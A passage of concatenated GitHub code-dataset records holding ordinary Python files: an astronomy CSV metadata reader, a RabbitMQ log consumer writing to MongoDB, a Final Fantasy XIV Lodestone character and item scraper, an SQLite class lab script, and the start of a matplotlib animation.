BOKEH_THEME\n","repo_name":"trinhtrannp/adit","sub_path":"adit/dashboard/models/performance_dashboard.py","file_name":"performance_dashboard.py","file_ext":"py","file_size_in_byte":9174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40387601214","text":"# -*- coding: utf-8 -*-\n# ***********************************************************************\n# ****************** CANADIAN ASTRONOMY DATA CENTRE *******************\n# ************* CENTRE CANADIEN DE DONNÉES ASTRONOMIQUES **************\n#\n# (c) 2022. (c) 2022.\n# Government of Canada Gouvernement du Canada\n# National Research Council Conseil national de recherches\n# Ottawa, Canada, K1A 0R6 Ottawa, Canada, K1A 0R6\n# All rights reserved Tous droits réservés\n#\n# NRC disclaims any warranties, Le CNRC dénie toute garantie\n# expressed, implied, or énoncée, implicite ou légale,\n# statutory, of any kind with de quelque nature que ce\n# respect to the software, soit, concernant le logiciel,\n# including without limitation y compris sans restriction\n# any warranty of merchantability toute garantie de valeur\n# or fitness for a particular marchande ou de pertinence\n# purpose. NRC shall not be pour un usage particulier.\n# liable in any event for any Le CNRC ne pourra en aucun cas\n# damages, whether direct or être tenu responsable de tout\n# indirect, special or general, dommage, direct ou indirect,\n# consequential or incidental, particulier ou général,\n# arising from the use of the accessoire ou fortuit, résultant\n# software. Neither the name de l'utilisation du logiciel. Ni\n# of the National Research le nom du Conseil National de\n# Council of Canada nor the Recherches du Canada ni les noms\n# names of its contributors may de ses participants ne peuvent\n# be used to endorse or promote être utilisés pour approuver ou\n# products derived from this promouvoir les produits dérivés\n# software without specific prior de ce logiciel sans autorisation\n# written permission. préalable et particulière\n# par écrit.\n#\n# This file is part of the Ce fichier fait partie du projet\n# OpenCADC project. OpenCADC.\n#\n# OpenCADC is free software: OpenCADC est un logiciel libre ;\n# you can redistribute it and/or vous pouvez le redistribuer ou le\n# modify it under the terms of modifier suivant les termes de\n# the GNU Affero General Public la “GNU Affero General Public\n# License as published by the License” telle que publiée\n# Free Software Foundation, par la Free Software Foundation\n# either version 3 of the : soit la version 3 de cette\n# License, or (at your option) licence, soit (à votre gré)\n# any later version. toute version ultérieure.\n#\n# OpenCADC is distributed in the OpenCADC est distribué\n# hope that it will be useful, dans l’espoir qu’il vous\n# but WITHOUT ANY WARRANTY; sera utile, mais SANS AUCUNE\n# without even the implied GARANTIE : sans même la garantie\n# warranty of MERCHANTABILITY implicite de COMMERCIALISABILITÉ\n# or FITNESS FOR A PARTICULAR ni d’ADÉQUATION À UN OBJECTIF\n# PURPOSE. See the GNU Affero PARTICULIER. Consultez la Licence\n# General Public License for Générale Publique GNU Affero\n# more details. pour plus de détails.\n#\n# You should have received Vous devriez avoir reçu une\n# a copy of the GNU Affero copie de la Licence Générale\n# General Public License along Publique GNU Affero avec\n# with OpenCADC. If not, see OpenCADC ; si ce n’est\n# . pas le cas, consultez :\n# .\n#\n# : 4 $\n#\n# ***********************************************************************\n#\n\nfrom astropy.io import fits\nfrom caom2pipe.manage_composable import CadcException\nfrom caom2pipe import reader_composable as rdc\nfrom collections import defaultdict\nfrom io import BytesIO\nfrom brite2caom2.storage_name import BriteName\n\n\n__all__ = ['BriteFileMetadataReader', 'BriteStorageClientMetadataReader']\n\n\nclass BriteMetaDataReader(rdc.MetadataReader):\n \"\"\"\n DB 01-02-2021\n BRITE files are all ascii csv files.\n\n The _retrieve_file_info method makes sense as it. The _retrieve_header\n method does not make sense from a name point of view, but there is still\n an access for metadata and data retrieval.\n\n A single Observation relies on the existence of five files with different extensions. Ensure those five files\n exist before ingestion, since the metadata from one file applies to all files, and successful preview generation\n relies on the content of two other files.\n \"\"\"\n comment_char = '#'\n\n @property\n def metadata(self):\n return self._metadata\n\n @property\n def time_series(self):\n return self._time_series\n\n def _read_file(self, brite_fh, uri):\n \"\"\"\n Read the metadata and data from csv files.\n\n :param brite_fh: file handle\n :param uri:\n \"\"\"\n if uri.endswith('.orig'):\n self._read_orig_file(brite_fh, uri)\n elif uri.endswith('.ndatdb'):\n self._read_bjd_file(brite_fh, uri, ['BJD', 'BRITEMAG', 'SIGMA_BRITEMAG'])\n elif uri.endswith('.avedb'):\n self._read_bjd_file(brite_fh, uri, ['ave_BJD', 'ave_BRITEMAG', 'ave_SIGMA_BRITEMAG'])\n\n def _read_bjd_file(self, brite_fh, uri, keys):\n \"\"\"\n :param brite_fh: file handle\n :param uri: CADC uri for the file\n :param keys: key names for accessing the timeseries\n \"\"\"\n default_found = False\n data = defaultdict(list)\n # Read average magnitudes/orbit from the 'avedb' file.\n for line in brite_fh:\n if len(line) == 0:\n continue\n if line[0] == BriteMetaDataReader.comment_char:\n # skip header lines\n # DB 26-10-22\n # Note: for preview generation, the x-axis assumes the 2456000.0 value in this header line doesn’t\n # change:\n # (1) BJD(TDB) - 2456000.0 : Barycentric Julian Date.\n #\n # Add a check to ensure the default doesn't change.\n if '2456000.0' in line:\n default_found = True\n continue\n else:\n # Read time series data into dictionary arrays\n datapoint = line.split()\n data[keys[0]].append(float(datapoint[0]))\n data[keys[1]].append(float(datapoint[1]))\n data[keys[2]].append(float(datapoint[3]))\n\n if not default_found:\n raise CadcException(f'Wrong default x-axis value found for {uri}. Stopping.')\n\n self._metadata[uri] = {}\n self._time_series[uri] = data\n self._headers[uri] = [fits.Header()]\n\n def _read_orig_file(self, brite_fh, uri):\n \"\"\"\n This file contains most of the metadata for a CAOM2 record.\n :param brite_fh: file handle\n :param uri: CADC uri for the file\n \"\"\"\n data = defaultdict(list)\n metadata = {}\n for line in brite_fh:\n if len(line) == 0:\n continue\n # First read header content of data file\n if line[0] == BriteMetaDataReader.comment_char:\n ll = line.split('=', 1)\n if '----------' in ll[0]:\n continue\n keyword = ll[0].replace(f'{BriteMetaDataReader.comment_char} ', '').strip()\n [value, comment] = ll[1].split('/', 1)\n value = value.strip()\n metadata[keyword] = value\n # Initialize time series data arrays\n if 'column' in keyword:\n data[value] = []\n else:\n datapoint = line.split()\n for x in range(0, len(datapoint)):\n key = 'column' + str(x + 1)\n data[metadata[key]].append(float(datapoint[x]))\n\n self._metadata[uri] = metadata\n self._time_series[uri] = data\n self._headers[uri] = [fits.Header()]\n\n def set(self, storage_name):\n self.set_file_info(storage_name)\n self.set_time_series(storage_name)\n\n def reset(self):\n super().reset()\n self._time_series = {}\n self._metadata = {}\n\n def __str__(self):\n ts_keys = '\\n'.join(ii for ii in self._time_series)\n return f'\\nKeys:\\n{ts_keys}\\n'\n\n def set_file_info(self, storage_name):\n \"\"\"Retrieves FileInfo information to memory.\"\"\"\n self._logger.debug(f'Begin set_file_info for {storage_name.file_name}')\n for index, entry in enumerate(storage_name.destination_uris):\n if entry not in self._file_info and BriteName.is_archived(entry):\n self._logger.debug(f'Retrieve FileInfo for {entry}')\n self._retrieve_file_info(entry, storage_name.source_names[index])\n self._logger.debug('End set_file_info')\n\n\nclass BriteFileMetadataReader(BriteMetaDataReader, rdc.FileMetadataReader):\n\n def __init__(self):\n super().__init__()\n self._time_series = {}\n self._metadata = {}\n\n def set_time_series(self, storage_name):\n for index, entry in enumerate(storage_name.destination_uris):\n if entry not in self._time_series.keys():\n if storage_name.has_data:\n self._logger.debug(f'Retrieve content for {entry}')\n with open(storage_name.source_names[index]) as f:\n self._read_file(f, entry)\n else:\n self._logger.info(f'No Content for {entry}')\n\n\nclass BriteStorageClientMetadataReader(BriteMetaDataReader, rdc.StorageClientReader):\n\n def __init__(self, client):\n super().__init__(client)\n self._time_series = {}\n self._metadata = {}\n\n def set_time_series(self, storage_name):\n for index, entry in enumerate(storage_name.destination_uris):\n if entry not in self._time_series.keys():\n if storage_name.has_data:\n self._logger.debug(f'Retrieve content for {entry}')\n buffer = BytesIO()\n self._client.cadcget(storage_name.file_uri, buffer)\n self._read_file(buffer.getvalue().decode().split('\\n'), storage_name.file_uri)\n # I think this does a memory clean-up\n buffer.close()\n else:\n self._logger.info(f'No Content for {entry}')\n","repo_name":"opencadc/brite2caom2","sub_path":"brite2caom2/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":10804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16853679006","text":"from datetime import datetime\nimport sys\nimport os, pymongo\nimport pika\n\n##\n## Configure test vs. production\n##\nrabbitMQUri = os.getenv(\"RABBITMQ_URI\")\ndBUrl = os.getenv(\"DB_URL\")\nprint(\"Connected to RabbitMQ\")\n\nclient = None\ntry:\n # set a 5-second connection timeout\n client = pymongo.MongoClient(dBUrl, serverSelectionTimeoutMS=5000)\n print(\"Connected to the DB server.\")\nexcept Exception as error:\n print(\"Unable to connect to the DB server.\")\n raise error\nmydb = client[\"testdbnewsbuff\"]\nlogsCollection = mydb[\"log\"]\n\nlogsCollection.insert_one({'msg': 'Connected to DB', 'ts': datetime.now() })\n\nrabbitMQ = pika.BlockingConnection(\n pika.URLParameters(rabbitMQUri))\nrabbitMQChannel = rabbitMQ.channel()\n\nlogsCollection.insert_one({'msg': 'Connected to RabbitMQ', 'ts': datetime.now() })\n\nrabbitMQChannel.exchange_declare(exchange='backendlogs', exchange_type='topic')\nresult = rabbitMQChannel.queue_declare('', exclusive=True)\nqueue_name = result.method.queue\n\n#infoKey = f\"{platform.node()}.worker.info\"\n\nbinding_keys = sys.argv[1:]\nif not binding_keys:\n #\n # Wildcard key will listen to anything\n #\n binding_keys = [ \"#\"]\n\nfor key in binding_keys:\n rabbitMQChannel.queue_bind(\n exchange='backendlogs', \n queue=queue_name,\n routing_key=key)\n\ndef callback(ch, method, properties, body):\n msg = f\" [x] {method.routing_key}:{body}\"\n print(msg, file=sys.stdout, flush=True)\n obj = { 'msg': msg, 'ts': datetime.now() }\n logsCollection.insert_one(obj)\n sys.stdout.flush()\n sys.stderr.flush()\n\nprint(' [*] Waiting for BACKEND logs. To exit press CTRL+C')\n\nrabbitMQChannel.basic_consume(\n queue=queue_name, on_message_callback=callback, auto_ack=True)\n\nrabbitMQChannel.start_consuming()\n","repo_name":"CUBigDataClass/newsbuff-datafetch","sub_path":"logs-rabbitmq/logsBackend.py","file_name":"logsBackend.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12819674219","text":"from werkzeug.urls import url_quote_plus\r\nimport bs4\r\nimport re\r\nimport requests\r\n\r\n\r\nclass DoesNotExist(Exception):\r\n pass\r\n\r\n\r\nclass Scraper(object):\r\n\r\n def __init__(self):\r\n self.s = requests.Session()\r\n\r\n def update_headers(self, headers):\r\n self.s.headers.update(headers)\r\n\r\n def make_request(self, url=None):\r\n return self.s.get(url)\r\n\r\n\r\nclass FFXIVScraper(Scraper):\r\n\r\n def __init__(self):\r\n super(FFXIVScraper, self).__init__()\r\n headers = {\r\n 'Accept-Language': 'en-us,en;q=0.5',\r\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) Chrome/27.0.1453.116 Safari/537.36',\r\n }\r\n self.update_headers(headers)\r\n self.lodestone_url = 'http://eu.finalfantasyxiv.com/lodestone'\r\n\r\n def validate_character(self, server_name, character_name):\r\n # Search for character\r\n character_name = character_name.encode('utf-8')\r\n url = self.lodestone_url + '/character/?q={}&worldname={}'.format(\r\n url_quote_plus(character_name), server_name)\r\n\r\n r = self.make_request(url=url)\r\n\r\n '''if not r:\r\n return None'''\r\n\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n\r\n '''with open(\"data/searchsoup.txt\", \"a\") as log_file:\r\n log_file.write(str(soup))\r\n log_file.close()'''\r\n\r\n if \"Due to ongoing maintenance, this page is currently unavailable.\" in str(soup):\r\n return \"lodestone is under maintainence. what did you do? what have you DONE????\"\r\n \r\n for tag in soup.select('.entry'):\r\n char_name = tag.p.contents[0].encode('utf-8')\r\n if char_name.lower() == character_name.lower():\r\n return {\r\n 'lodestone_id': re.findall(r'(\\d+)', str(tag.a['href']))[0],\r\n 'name': char_name,\r\n }\r\n\r\n return None\r\n\r\n def scrape_achievements(self, lodestone_id, count):\r\n achievement_url = self.lodestone_url + '/character/{}/achievement/'.format(lodestone_id)\r\n r = self.make_request(url=achievement_url)\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n achieve_names = []\r\n achieve_descs = []\r\n achievements_found = False\r\n \r\n if \"You do not have permission\" not in str(soup):\r\n achievements_found = True\r\n\r\n # Total number of achievements\r\n achievement_count = soup.select('.parts__total')[0].contents[0]\r\n achievement_count = achievement_count[:achievement_count.index(' ')]\r\n \r\n if int(count) > 40:\r\n return \"... don't be a dick.\"\r\n if int(achievement_count) <= int(count):\r\n return \"you don't have that many achievements AND YOU KNOW IT.\"\r\n\r\n achieve_ids = []\r\n achieve_urls = []\r\n\r\n for i in range(0,int(count)):\r\n achieve_ids.append(soup.select('.entry__achievement')[i]['href'])\r\n achieve_urls.append(\"http://eu.finalfantasyxiv.com{}\".format(achieve_ids[i]))\r\n\r\n achieve_name = soup.select('.entry__activity__txt')[i].contents[0]\r\n achieve_names.append(achieve_name[achieve_name.index('\"')+1:achieve_name.rfind('\"')])\r\n\r\n soup.decompose()\r\n\r\n # Achievement descriptions\r\n for i in range(0,int(count)):\r\n r = self.make_request(url=achieve_urls[i])\r\n achieve_desc_soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n achieve_descs.append(achieve_desc_soup.select('.achievement__base--text')[0].contents[0])\r\n achieve_desc_soup.decompose()\r\n else:\r\n achievement_count = achieve_names = achieve_descs = None\r\n\r\n data = {\r\n 'achievements_found': achievements_found,\r\n 'achievement_count': achievement_count,\r\n 'achieve_names': achieve_names,\r\n 'achieve_descs': achieve_descs\r\n }\r\n\r\n return data\r\n\r\n def scrape_item(self, item_name):\r\n item_url = \"http://eu.finalfantasyxiv.com/lodestone/playguide/db/item/?patch=&db_search_category=item&category2=&q=\"\r\n item_name = '+'.join(item_name.split(' '))\r\n\r\n item_url += item_name\r\n r = self.make_request(url=item_url)\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n\r\n if \"The search did not return any results\" in str(soup):\r\n return \"can't find that item.\"\r\n elif \"Due to ongoing maintenance, this page is currently unavailable.\" in str(soup):\r\n return \"lodestone is under maintainence. what did you do? what have you DONE????\"\r\n\r\n #item_name = soup.select('.db-table__txt--detail_link')[0].text\r\n item_id = str(soup.select('.db-table__txt--detail_link')[0])\r\n item_id = item_id[82:item_id.rfind('?')-1]\r\n soup.decompose()\r\n\r\n item_url = \"http://eu.finalfantasyxiv.com/lodestone/playguide/db/item/{}/\".format(item_id)\r\n r = self.make_request(url=item_url)\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n\r\n item_name = description = item_level = \"\"\r\n item_level_req = item_classes = stat_1_name = stat_2_name = stat_3_name = \"\"\r\n stat_1_num = stat_2_num = stat_3_num = nq_effect = hq_effect = bonuses = \"\"\r\n item_photo = \"\"\r\n\r\n has_photo = str(soup.find(\"a\", {\"href\":\"#tab2\"}))\r\n has_photo = has_photo[24:has_photo.rfind(')')]\r\n has_photo = True if int(has_photo) > 0 else False\r\n if has_photo:\r\n item_photo = str(soup.find(\"a\", {\"class\":\"fancybox_element\"})['href'])\r\n\r\n if soup.select('.db-view__help_text'):\r\n description = soup.select('.db-view__help_text')[0].text\r\n description = description.strip()\r\n elif soup.select('.db-view__info_text'):\r\n description = soup.select('.db-view__info_text')[0].text\r\n description = description.strip()\r\n\r\n item_type = soup.select('.breadcrumb__link')[3].text\r\n item_subtype = soup.select('.breadcrumb__link')[4].text\r\n item_pic = soup.find(\"img\", {\"class\":\"db-view__item__icon__item_image sys_nq_element\"})['src']\r\n\r\n # Weapons & Tools\r\n if item_type == \"Arms\" or item_type == \"Tools\":\r\n item_level = soup.select('.db-view__item_level')[0].text\r\n item_classes = soup.select('.db-view__item_equipment__class')[0].text\r\n item_level_req = soup.select('.db-view__item_equipment__level')[0].text\r\n\r\n stat_1_name = \"Physical Damage\"\r\n stat_1_num = soup.select('.db-view__item_spec__value')[0].text\r\n stat_2_name = \"Auto-Attack\"\r\n stat_2_num = soup.select('.db-view__item_spec__value')[1].text\r\n stat_3_name = \"Delay\"\r\n stat_3_num = soup.select('.db-view__item_spec__value')[2].text\r\n\r\n bonuses = []\r\n if soup.select('.db-view__basic_bonus'):\r\n bonuses_raw = str(soup.select('.db-view__basic_bonus')[0].text)\r\n for line in bonuses_raw.split('\\n'):\r\n line = line.strip()\r\n if line != \"\":\r\n bonuses.append(line.strip())\r\n\r\n # Armour\r\n elif item_type == \"Armor\":\r\n item_level = soup.select('.db-view__item_level')[0].text\r\n item_classes = soup.select('.db-view__item_equipment__class')[0].text\r\n item_level_req = soup.select('.db-view__item_equipment__level')[0].text\r\n\r\n if item_subtype == \"Shield\":\r\n stat_1_name = \"Block Strength\"\r\n stat_2_name = \"Block Rate\"\r\n else:\r\n stat_1_name = \"Defence\"\r\n stat_2_name = \"Magic Defence\"\r\n\r\n stat_1_num = soup.select('.db-view__item_spec__value')[0].text\r\n stat_2_num = soup.select('.db-view__item_spec__value')[1].text\r\n\r\n bonuses = []\r\n if soup.select('.db-view__basic_bonus'):\r\n bonuses_raw = str(soup.select('.db-view__basic_bonus')[0].text)\r\n for line in bonuses_raw.split('\\n'):\r\n line = line.strip()\r\n if line != \"\":\r\n bonuses.append(line.strip())\r\n\r\n # Accessories\r\n elif item_type == \"Accessories\": \r\n item_level = soup.select('.db-view__item_level')[0].text\r\n item_classes = soup.select('.db-view__item_equipment__class')[0].text\r\n item_level_req = soup.select('.db-view__item_equipment__level')[0].text\r\n \r\n bonuses = []\r\n if soup.select('.db-view__basic_bonus'):\r\n bonuses_raw = str(soup.select('.db-view__basic_bonus')[0].text)\r\n for line in bonuses_raw.split('\\n'):\r\n line = line.strip()\r\n if line != \"\":\r\n bonuses.append(line.strip())\r\n\r\n # Medicines & Food\r\n elif \"Medicines\" in item_type:\r\n\r\n if item_subtype == \"Medicine\":\r\n stat_1_name = \"Recast\"\r\n stat_1_num = str(soup.find(\"div\", {\"class\":\"db-view__item_spec__value\"}).text).strip()\r\n nq_effect = str(soup.find(\"ul\", {\"class\":\"sys_nq_element\"}).text).strip()\r\n nq_effect = nq_effect.replace('\\t','').replace('\\n','')\r\n description = description.replace('.Restores', '. Restores')\r\n else:\r\n nq_effect = str(soup.find(\"ul\", {\"class\":\"sys_nq_element\"}).text).strip()\r\n nq_effect = nq_effect.replace('\\t','').replace('\\n','')\r\n nq_effect = nq_effect.replace(')',')\\n')[:-1]\r\n hq_effect = str(soup.find(\"ul\", {\"class\":\"sys_nq_element\"}).text).strip()\r\n hq_effect = hq_effect.replace('\\t','').replace('\\n','')\r\n hq_effect = hq_effect.replace(')',')\\n')[:-1]\r\n description = str(soup.select('.db-view__info_text')[1].text).strip()\r\n description = description.replace('EXP','\\nEXP').replace(' Duration','\\nDuration').replace('(Duration',' (Duration')\r\n\r\n elif item_type == \"Materials\":\r\n return \"WIP\"\r\n elif item_type == \"Other\":\r\n return \"WIP\"\r\n else:\r\n return \"what\"\r\n\r\n data = {\r\n 'name': item_name,\r\n 'type': item_type,\r\n 'subtype': item_subtype,\r\n 'description': description,\r\n 'ilevel': item_level,\r\n 'ilevel_req': item_level_req,\r\n 'item_classes': item_classes,\r\n 'stat_1_name': stat_1_name,\r\n 'stat_2_name': stat_2_name,\r\n 'stat_3_name': stat_3_name,\r\n 'stat_1_num': stat_1_num,\r\n 'stat_2_num': stat_2_num,\r\n 'stat_3_num': stat_3_num,\r\n 'nq_effect': nq_effect,\r\n 'hq_effect': hq_effect,\r\n 'bonuses': bonuses,\r\n 'icon': item_pic,\r\n 'photo': item_photo\r\n }\r\n return data\r\n\r\n def scrape_character(self, lodestone_id):\r\n character_url = self.lodestone_url + '/character/{}/'.format(lodestone_id)\r\n r = self.make_request(url=character_url)\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n if not r:\r\n raise DoesNotExist()\r\n\r\n character_link = '/lodestone/character/{}/'.format(lodestone_id)\r\n\r\n # For debugging/lodestone updates: write entire soup data to file\r\n '''with open(\"data/charsoup.txt\", \"a\") as soup_file:\r\n soup_file.write(str(soup))\r\n soup_file.close()'''\r\n\r\n for tag in soup.select('.frame__chara__link'):\r\n if character_link not in tag['href']:\r\n raise DoesNotExist()\r\n\r\n # Picture\r\n portrait_url = soup.select('.character__detail__image')[0].a['href']\r\n name = soup.select('.frame__chara__name')[0].text\r\n server = soup.select('.frame__chara__world')[0].text\r\n race = soup.select('.character-block__name')[0].contents[0]\r\n clan, gender = soup.select('.character-block__name')[0].contents[2].split(' / ')\r\n\r\n if gender.strip('\\n\\t')[-1] == u'\\u2642':\r\n gender = u'\\u2642'.encode('utf-8')\r\n else:\r\n gender = u'\\u2640'.encode('utf-8')\r\n\r\n try:\r\n title = soup.select('.frame__chara__title')[0].text.strip()\r\n except (AttributeError, IndexError):\r\n title = None\r\n\r\n try:\r\n grand_company = soup.select('.character-block__name')[3].contents[0]\r\n except (AttributeError, IndexError):\r\n grand_company = None\r\n\r\n try:\r\n free_company = soup.select('.character__freecompany__name')[0].h4.a.contents[0]\r\n except (AttributeError, IndexError):\r\n free_company = None\r\n\r\n # Classes\r\n classes = {}\r\n for job_nm in range(0,25):\r\n ffxiv_class = soup.select('.character__job__name')[job_nm].contents[0]\r\n level = soup.select('.character__job__level')[job_nm].contents[0]\r\n\r\n if not ffxiv_class:\r\n continue\r\n\r\n level = 0 if level == '-' else int(level)\r\n classes[ffxiv_class] = dict(level=level)\r\n\r\n # Current class\r\n weapon_html = soup.select('.db-tooltip__item__category')[0]\r\n current_class = weapon_html.string.strip()\r\n current_class = current_class.replace('Two-handed ', '').replace('One-handed ', '').replace(\"'s Arm\", '')\r\n current_class = current_class.replace(\"'s Primary Tool\", '').replace(\"'s Grimoire\", '')\r\n\r\n # Weapon name\r\n equipped_gear = []\r\n for i, tag in enumerate(soup.select('.db-tooltip__item__name')):\r\n equipped_gear.append(tag.text)\r\n \r\n # Job crystal status\r\n if \"Soul of the Summoner\" in '\\t'.join(equipped_gear):\r\n jobbed = \"SMN\"\r\n elif \"Soul of\" in '\\t'.join(equipped_gear):\r\n jobbed = \"Yes\"\r\n else:\r\n jobbed = \"No\"\r\n\r\n # Item Level\r\n total_ilvl = 0.0\r\n ilvl_list = []\r\n for tag in soup.select('.db-tooltip__item__level'):\r\n ilvl_list.append(tag.text.strip()[11:])\r\n\r\n # Lodestone HTML contains all equipment twice, so half list size.\r\n ilvl_list = ilvl_list[0:(len(ilvl_list)/2)]\r\n\r\n # Removes job crystal from ilvl calculation\r\n if jobbed != \"No\":\r\n del ilvl_list[-1]\r\n\r\n for gear_ilvl in ilvl_list:\r\n total_ilvl += float(gear_ilvl)\r\n\r\n ilvl = str(int(round(total_ilvl / len(ilvl_list))))\r\n\r\n nameday = soup.select('.character-block__birth')[0].contents[0]\r\n guardian = soup.select('.character-block__name')[1].contents[0]\r\n citystate = soup.select('.character-block__name')[2].contents[0]\r\n\r\n achievement_url = self.lodestone_url + '/character/{}/achievement/'.format(lodestone_id)\r\n r = self.make_request(url=achievement_url)\r\n soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n\r\n # For debugging/lodestone updates: write entire soup data to file\r\n '''with open(\"data/ach_soup.txt\", \"a\") as soup_file:\r\n soup_file.write(str(soup))\r\n soup_file.close()'''\r\n\r\n achieve_names = []\r\n achieve_descs = []\r\n achievement_count = \"\"\r\n\r\n if \"You do not have permission\" not in str(soup):\r\n achievements_enabled = True\r\n\r\n # Total number of achievements\r\n achievement_count = soup.select('.parts__total')[0].contents[0]\r\n achievement_count = achievement_count[:achievement_count.index(' ')]\r\n\r\n achieve_ids = []\r\n achieve_urls = []\r\n\r\n\r\n for i in range(0,3):\r\n achieve_ids.append(soup.select('.entry__achievement')[i]['href'])\r\n achieve_urls.append(\"http://eu.finalfantasyxiv.com{}\".format(achieve_ids[i]))\r\n\r\n achieve_name = soup.select('.entry__activity__txt')[i].contents[0]\r\n achieve_names.append(achieve_name[achieve_name.index('\"')+1:achieve_name.rfind('\"')])\r\n\r\n soup.decompose()\r\n\r\n # Achievement descriptions\r\n for i in range(0,3):\r\n r = self.make_request(url=achieve_urls[i])\r\n achieve_desc_soup = bs4.BeautifulSoup(r.content, \"html5lib\")\r\n achieve_descs.append(achieve_desc_soup.select('.achievement__base--text')[0].contents[0])\r\n achieve_desc_soup.decompose()\r\n\r\n else:\r\n achievements_enabled = False\r\n\r\n\r\n data = {\r\n 'name': name,\r\n 'server': server,\r\n 'title': title,\r\n 'race': race,\r\n 'clan': clan,\r\n 'portrait_url': portrait_url,\r\n 'grand_company': grand_company,\r\n 'free_company': free_company,\r\n 'classes': classes,\r\n 'current_class': current_class,\r\n 'weapon': equipped_gear[0],\r\n 'weapon_ilvl': ilvl_list[0],\r\n 'ilvl': ilvl,\r\n 'jobbed': jobbed,\r\n 'gender': gender,\r\n 'nameday': nameday,\r\n 'guardian': guardian,\r\n 'citystate': citystate,\r\n 'achievements_enabled': achievements_enabled,\r\n 'achievement_count': achievement_count,\r\n 'achieve_names': achieve_names,\r\n 'achieve_descs': achieve_descs\r\n }\r\n\r\n return data\r\n","repo_name":"MeadowDrone/raidbot","sub_path":"ffxiv_tools/lodestone.py","file_name":"lodestone.py","file_ext":"py","file_size_in_byte":17496,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"30998670097","text":"#import necessary packages\nimport sqlite3\n\n#name the database file\nsqlite_file = \"campus_ii.sqlite3\"\n\n#establish a connection with the database\nconn = sqlite3.connect(sqlite_file)\n\n#set the connection as the value for the variable c\nc = conn.cursor()\n\n# set values for table to be queried\ntable1 = \"course\"\ntable2 = \"department\"\ntable3 = \"instructor\"\ntable4 = \"student\"\ntable5 = \"takes\"\ntable6 = \"teaches\"\n\n# set values for each of the columns in the table\ncolumn1 = \"ID\"\ncolumn2 = \"name\"\ncolumn3 = \"student\"\ncolumn4 = \"deptName\"\ncolumn5 = \"salary\"\ncolumn6 = \"title\"\ncolumn6 = \"CourseId\"\ncolumn7 = \"year\"\n\nprint(\"SELECT * FROM instructor WHERE name = \\\"Nelson\\\";\")\nc.execute('SELECT * FROM {tn} WHERE {cn}=\"Nelson\"'.format(tn=table3, cn=column2))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT name FROM instructor WHERE student = \\\"S1\\\";\")\nc.execute('SELECT {cn} FROM {tn} WHERE {cn2}=\"S1\"'.format(tn=table3, cn=column2, cn2=column3))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT COUNT(ID) FROM takes;\")\nc.execute('SELECT COUNT({cn}) FROM {tn}'.format(tn=table5, cn=column1))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT * FROM course WHERE title like \\\"CS3%\\\";\")\nc.execute('SELECT * FROM {tn} WHERE {cn} like \"CS3%\"'.format(tn=table1, cn=column6))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT DISTINCT(deptName) FROM department;\")\nc.execute('SELECT DISTINCT({cn}) FROM {tn}'.format(tn=table2, cn=column4))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT name, ID FROM student;\")\nc.execute('SELECT {cn2}, {cn} FROM {tn}'.format(tn=table4, cn=column1, cn2=column2))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nSELECT courseId FROM teaches WHERE year = \\\"2009\\\";\")\nc.execute('SELECT DISTINCT({cn}) FROM {tn} WHERE {cn2} = (\"2009\")'.format(tn=table6, cn=column6, cn2=column7))\noutput = c.fetchall()\nprint(output)\n\nprint(\"\\nShow Faber's current salary\")\n# show current salary\nc.execute('SELECT {cn}, {cn2} FROM {tn} WHERE {cn} == \"Farber\"'.format(tn=table3, cn=column2, cn2=column5))\noutput = c.fetchall()\nprint(output)\nprint(\"Updating Faber's salary to be 101\")\n#UPDATE instructor SET salary == \"101\" WHERE name == \"Farber\";\nc.execute('UPDATE {tn} SET {cn2} == \"101\" WHERE {cn} == \"Farber\"'.format(tn=table3, cn=column2, cn2=column5))\n# show the change in salary\nprint(\"Showing the change was successful\")\nc.execute('SELECT {cn}, {cn2} FROM {tn} WHERE {cn} == \"Farber\"'.format(tn=table3, cn=column2, cn2=column5))\noutput = c.fetchall()\nprint(output)\n\n#close connection with the database\nconn.close()\n","repo_name":"MillerGary/CS380","sub_path":"labs/lab4_part1/Lab4.py","file_name":"Lab4.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5984039894","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n\ndef assignment_3_render(traj):\n \"\"\"\n Function designed to render the trajectory of the dropped block using matplotlib\n :param traj:\n :return: None\n \"\"\"\n fig = plt.figure(figsize=(5, 5))\n ax = fig.add_subplot(111, autoscale_on=False, xlim=(-2, 2), ylim=(-0.1, 2))\n ax.set_aspect('equal')\n ax.grid()\n\n line, = ax.plot([], [], 'o-', lw=2)\n time_template = 'time = %.1fs'\n time_text = ax.text(0.05, 0.9, '', transform=ax.transAxes)\n dt = 0.01\n\n def animate(i):\n # draws square given its configuration\n local_corners = np.array([[-0.2, -0.2, 0.2, 0.2, -0.2],# Multiply by 0.5\n [-0.2, 0.2, 0.2, -0.2, -0.2],\n [1, 1, 1, 1, 1]])\n H = np.array([[np.cos(traj[2, i]), -np.sin(traj[2, i]), traj[0, i]],\n [np.sin(traj[2, i]), np.cos(traj[2, i]), traj[1, i]],\n [0., 0., 1]])\n world_corners = H @ local_corners\n\n line.set_data(world_corners[0, :], world_corners[1, :])\n 